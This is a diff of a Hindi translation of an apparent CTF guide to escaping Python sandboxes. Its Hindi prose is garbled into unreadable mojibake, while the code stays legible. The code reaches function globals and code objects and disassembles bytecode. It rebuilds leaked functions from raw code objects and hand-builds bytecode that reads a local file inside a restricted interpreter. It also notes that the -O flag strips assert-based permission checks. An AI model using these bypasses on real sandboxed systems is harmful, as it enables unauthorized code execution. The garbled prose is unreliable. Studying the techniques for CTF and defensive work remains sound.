рдЖрдк рдХреБрдЫ import рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓, рдХреБрдЫ global variables рдФрд░ рдЙрдирдХреЗ declared content рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: +`__globals__` and `func_globals`(Same) рдЧреНрд▓реЛрдмрд▓ рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рдХреБрдЫ рдЗрдореНрдкреЛрд░реНрдЯ рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓, рдХреБрдЫ рдЧреНрд▓реЛрдмрд▓ рд╡реЗрд░рд┐рдПрдмрд▓ рдФрд░ рдЙрдирдХреА рдШреЛрд╖рд┐рдд рд╕рд╛рдордЧреНрд░реА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: ```python get_flag.func_globals get_flag.__globals__ @@ -818,9 +819,9 @@ CustomClassObject.__class__.__init__.__globals__ ``` [**See here more places to obtain globals**](#globals-and-locals) -### **рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдХреЛрдб рддрдХ рдкрд╣реБрдБрдЪ** +### **рдлрд╝рдВрдХреНрд╢рди рдХреЗ code рддрдХ рдкрд╣реБрдБрдЪ** -**`__code__`** рдФрд░ `func_code`: рдЖрдк рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ **рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ** рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк рдлрд╝рдВрдХреНрд╢рди рдХрд╛ **рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред +**`__code__`** and `func_code`: рдЖрдк рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЗрд╕ **attribute** рдХреЛ **access** рдХрд░рдХреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ **code object** рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```python # In our current example get_flag.__code__ @@ -834,7 +835,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### рдХреЛрдб рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ +### Code рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ ```python # Another example s = ''' @@ -880,7 +881,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **рдХрд┐рд╕реА function рдХрд╛ Disassembly** +### **Disassembly рдПрдХ рдлрд╝рдВрдХреНрд╢рди** ```python import dis dis.dis(get_flag) @@ -908,7 +909,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдпрджрд┐ рдЖрдк python sandbox рдореЗрдВ `dis` рдХреЛ import рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ** рддреЛ рдЖрдк рдлрд╝рдВрдХреНрд╢рди рдХрд╛ **bytecode** (`get_flag.func_code.co_code`) рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕реЗ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ **disassemble** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рд▓реЛрдб рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ variables рдХреА рд╕рд╛рдордЧреНрд░реА (`LOAD_CONST`) рдирд╣реАрдВ рджреЗрдЦ рдкрд╛рдПрдВрдЧреЗ рд▓реЗрдХрд┐рди рдЖрдк рдЙрдиреНрд╣реЗрдВ (`get_flag.func_code.co_consts`) рд╕реЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ `LOAD_CONST` рднреА рд▓реЛрдб рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ variable рдХреЗ offset рдХреЛ рдмрддрд╛рддрд╛ рд╣реИред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдпрджрд┐ рдЖрдк python sandbox рдореЗрдВ `dis` рдХреЛ import рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ** рддреЛ рдЖрдк рдлрд╝рдВрдХреНрд╢рди рдХрд╛ **bytecode** (`get_flag.func_code.co_code`) рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рд▓реЛрдХрд▓реА **disassemble** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рд▓реЛрдб рд╣реЛ рд░рд╣реЗ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреА рд╕рд╛рдордЧреНрд░реА (`LOAD_CONST`) рдирд╣реАрдВ рджреЗрдЦ рдкрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдЖрдк рдЙрдиреНрд╣реЗрдВ (`get_flag.func_code.co_consts`) рд╕реЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ `LOAD_CONST` рднреА рд▓реЛрдб рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ offset рдХреЛ рдмрддрд╛рддрд╛ рд╣реИред ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -930,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` -## Python рдХреЛ рдХрдВрдкрд╛рдЗрд▓ рдХрд░рдирд╛ +## Python рдХреЛ рдХрдореНрдкрд╛рдЗрд▓ рдХрд░рдирд╛ -рдЕрдм, рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк **рдХрд┐рд╕реА function рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк execute рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ** рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ **рдЬрд╝рд░реВрд░реА** рд╣реИ рдХрд┐ рдЖрдк рдЗрд╕реЗ **execute** рдХрд░реЗрдВ.\ -рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрди рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЖрдк рдЙрд╕ function рдХреЗ **code object рддрдХ access рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рд▓реЗрдХрд┐рди рд╕рд┐рд░реНрдл disassemble рдкрдврд╝рдХрд░ рдЖрдк **рдпрд╣ рдирд╣реАрдВ рдЬрд╛рди рдкрд╛рддреЗ рдХрд┐ flag рдХреИрд╕реЗ calculate рдХрд┐рдпрд╛ рдЬрд╛рдП** (_рдХрд▓реНрдкрдирд╛ рдХреАрдЬрд┐рдП рдХрд┐ `calc_flag` function рдФрд░ рднреА рдЬреНрдпрд╛рджрд╛ рдЬрдЯрд┐рд▓ рд╣реИ_) +рдЕрдм, рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк **рдРрд╕реЗ function рдХреА рдЬрд╛рдирдХрд╛рд░реА dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк execute рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ**, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЗрд╕реЗ **рдЬрд╝рд░реВрд░реА** рддреМрд░ рдкрд░ **execute** рдХрд░рдирд╛ рд╣реИ.\\ +рдирд┐рдореНрди рдЙрджрд╛рд╣рд░рдг рдХреА рддрд░рд╣, рдЖрдк рдЙрд╕ function рдХреЗ **code object** рддрдХ access рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкрд░ рд╕рд┐рд░реНрдл disassemble рдкрдврд╝рдХрд░ рдЖрдк **flag рдХреИрд╕реЗ calculate рдХрд┐рдпрд╛ рдЬрд╛рдП рдпрд╣ рдирд╣реАрдВ рдЬрд╛рдирддреЗ** (_рдХрд┐рд╕реА рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ `calc_flag` function рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ_) ```python def get_flag(some_input): var1=1 @@ -948,7 +949,7 @@ return "Nope" ``` ### code object рдмрдирд╛рдирд╛ -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдореЗрдВ рдпрд╣ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛ **рдХреИрд╕реЗ рдПрдХ code object рдмрдирд╛рдПрдБ рдФрд░ execute рдХрд░реЗрдВ** рддрд╛рдХрд┐ рд╣рдо рдПрдХ рдмрдирд╛ рд╕рдХреЗрдВ рдЬреЛ рд╣рдорд╛рд░реЗ leaked function рдХреЛ execute рдХрд░реЗ: +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдореЗрдВ рдпрд╣ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛ **рдХреИрд╕реЗ рдПрдХ code object рдмрдирд╛рдирд╛ рдФрд░ execute рдХрд░рдирд╛ рд╣реИ** рддрд╛рдХрд┐ рд╣рдо рдЕрдкрдиреА function leaked рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрдирд╛ рд╕рдХреЗрдВ: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -968,7 +969,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> рдЖрдкрдХреЗ python version рдХреЗ рдЕрдиреБрд╕рд╛рд░ `code_type` рдХреЗ **рдкреИрд░рд╛рдореАрдЯрд░** рдХрд╛ **рдХреНрд░рдо** рдЕрд▓рдЧ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЬрд┐рд╕ python version рдкрд░ рдЖрдк рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ рдЙрд╕рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдХреНрд░рдо рдХреЛ рдЬрд╛рдирдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдЪрд▓рд╛рдПрдБ: +> Python рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░ `code_type` рдХреЗ **рдкреИрд░рд╛рдореАрдЯрд░** рдХрд╛ **рдХреНрд░рдо рдЕрд▓рдЧ** рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЬрд┐рд╕ python рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдЖрдк рдЪрд▓рд╛ рд░рд╣реЗ рд╣реИрдВ, рдЙрд╕рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░реЛрдВ рдХреЗ рдХреНрд░рдо рдХреЛ рдЬрд╛рдирдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рдпрд╣ рдЪрд▓рд╛рдирд╛ рд╣реИ: > > ``` > import types @@ -976,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### рдПрдХ leaked рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛ +### рдПрдХ leaked рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкреБрдирдГрд╕реГрдЬрд┐рдд рдХрд░рдирд╛ > [!WARNING] -> рдиреАрдЪреЗ рджрд┐рдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рдлрд╝рдВрдХреНрд╢рди рдХреЗ code object рд╕реЗ рд╕реАрдзреЗ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рдбреЗрдЯрд╛ рд▓реЗрдВрдЧреЗред рдПрдХ **рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг** рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рди **`code_type`** рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рднреА **рдорд╛рди** рд╣реЛрдВ рд╡реЗ рд╡рд╣реА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдХреЛ **leak** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред +> рдиреАрдЪреЗ рджрд┐рдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкреБрдирдГрд╕реГрдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рдбреЗрдЯрд╛ рд╕реАрдзреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ code object рд╕реЗ рд▓реЗрдВрдЧреЗред рдПрдХ **real example** рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рди **`code_type`** рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА **values** рд╡рд╣реА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдХреЛ **leak** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -990,12 +991,13 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` -### рд╕реБрд░рдХреНрд╖рд╛ рдмрд╛рдпрдкрд╛рд╕ +### рд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ -рдкреЛрд╕реНрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдХреЗ рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ **рдХрд┐ `compile` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА python рдХреЛрдб рдХреЛ рдХреИрд╕реЗ execute рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред рдпрд╣ рдЗрд╕рд▓рд┐рдП рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **рдкреВрд░реА scripts** рдХреЛ loops рдФрд░ рд╕рдм рдХреБрдЫ рдХреЗ рд╕рд╛рде рдПрдХ **one liner** рдореЗрдВ execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рд╣рдо рдпрд╣реА **`exec`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ).\ -рд╡реИрд╕реЗ рднреА, рдХрднреА-рдХрднреА рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рд▓реЛрдХрд▓ рдорд╢реАрди рдореЗрдВ рдПрдХ **compiled object** рдмрдирд╛рдХрд░ рдЙрд╕реЗ **CTF machine** рдореЗрдВ execute рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рд╣рдо CTF рдореЗрдВ `compiled` рдлрд╝рдВрдХреНрд╢рди рдирд╣реАрдВ рд░рдЦрддреЗ). +рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рджрд┐рдП рдЧрдП рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ **рдХрд┐ `compile` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА python рдХреЛрдб рдХреЛ рдХреИрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред +рдпрд╣ рдЗрд╕рд▓рд┐рдП рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **рдкреВрд░реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕** рдХреЛ рд▓реВрдкреНрд╕ рдФрд░ рд╕рдм рдХреБрдЫ рдХреЗ рд╕рд╛рде **рдПрдХ рд▓рд╛рдЗрди рдореЗрдВ** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рд╣рдо **`exec`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рдереЗ).\ +рд╡реИрд╕реЗ, рдХрднреА-рдХрднреА рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рд▓реЛрдХрд▓ рдорд╢реАрди рдкрд░ рдПрдХ **compiled object** рдмрдирд╛рдХрд░ рдЙрд╕реЗ **CTF machine** рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ CTF рдореЗрдВ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ `compiled` рдлрд╝рдВрдХреНрд╢рди рдирд╣реАрдВ рд╣реИ)ред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЪрд▓рд┐рдП рдореИрдиреНрдпреБрдЕрд▓реА рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ compile рдФрд░ execute рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ _./poc.py_ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП рдореИрдиреНрдпреБрдЕрд▓реА рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ compile рдХрд░рдХреЗ рдФрд░ execute рдХрд░рдХреЗ рдЪрд▓рд╛рдПрдВ рдЬреЛ _./poc.py_ рдкрдврд╝рддрд╛ рд╣реИ: ```python #Locally def read(): @@ -1022,7 +1024,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -рдпрджрд┐ рдЖрдк `eval` рдпрд╛ `exec` рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдЖрдк рдПрдХ **рд╕рд╣реА рдлрд╝рдВрдХреНрд╢рди** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдЖрдорддреМрд░ рдкрд░ рдпрд╣ рд╡рд┐рдлрд▓ рд╣реЛрдЧрд╛: _constructor not accessible in restricted mode_. рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рдРрд╕рд╛ рдлрд╝рдВрдХреНрд╢рди рдЪрд╛рд╣рд┐рдП рдЬреЛ рд╕реАрдорд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рди рд╣реЛред** +рдпрджрд┐ рдЖрдк `eval` рдпрд╛ `exec` рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддреЗ рддреЛ рдЖрдк рдПрдХ **рдЙрдЪрд┐рдд рдлрд╝рдВрдХреНрд╢рди** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдЖрдорддреМрд░ рдкрд░ рдпрд╣ рдЕрд╕рдлрд▓ рд╣реЛрдЧрд╛: _constructor рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдореЛрдб рдореЗрдВ рд╕реБрд▓рдн рдирд╣реАрдВ рд╣реИ_. рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдмрд╛рд╣рд░ рдПрдХ **рдлрд╝рдВрдХреНрд╢рди** рдЪрд╛рд╣рд┐рдПред ```python #Compile a regular print ftype = type(lambda: None) @@ -1030,9 +1032,9 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Decompiling Compiled Python +## Compiled Python рдХрд╛ Decompiling -рдЬреИрд╕реЗ рдЯреВрд▓реНрд╕ [**https://www.decompiler.com/**](https://www.decompiler.com) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдИ рджрд┐рдП рдЧрдП compiled python code рдХреЛ **decompile** рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдЬреИрд╕реЗ рдЯреВрд▓реНрд╕ [**https://www.decompiler.com/**](https://www.decompiler.com) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджрд┐рдП рдЧрдП compiled python code рдХреЛ **decompile** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЛ рджреЗрдЦреЗрдВ**: @@ -1045,8 +1047,8 @@ f(42) ### Assert -`-O` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде optimizations рдореЗрдВ рдЪрд▓рд╛рдП рдЧрдП Python рд╕реЗ asset statements рдФрд░ рдХрд┐рд╕реА рднреА рдХреЛрдб рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ **debug** рдХреЗ рдорд╛рди рдкрд░ conditional рд╣реЛред\ -рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рддрд░рд╣ рдХреА рдЬрд╛рдБрдЪреЗрдВ: +Python `-O` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде optimizations рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЧрдпрд╛ Python asset statements рдФрд░ рдХрд┐рд╕реА рднреА рдРрд╕реЗ рдХреЛрдб рдХреЛ рд╣рдЯрд╛ рджреЗрдЧрд╛ рдЬреЛ **debug** рдХреЗ рдорд╛рди рдкрд░ conditional рд╣реЛред\ +рдЗрд╕рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪреЗрдХ рдЬреИрд╕реЗ ```python def check_permission(super_user): try: @@ -1055,7 +1057,7 @@ print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` -рдмрд╛рдЗрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ +bypass рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ ## рд╕рдВрджрд░реНрдн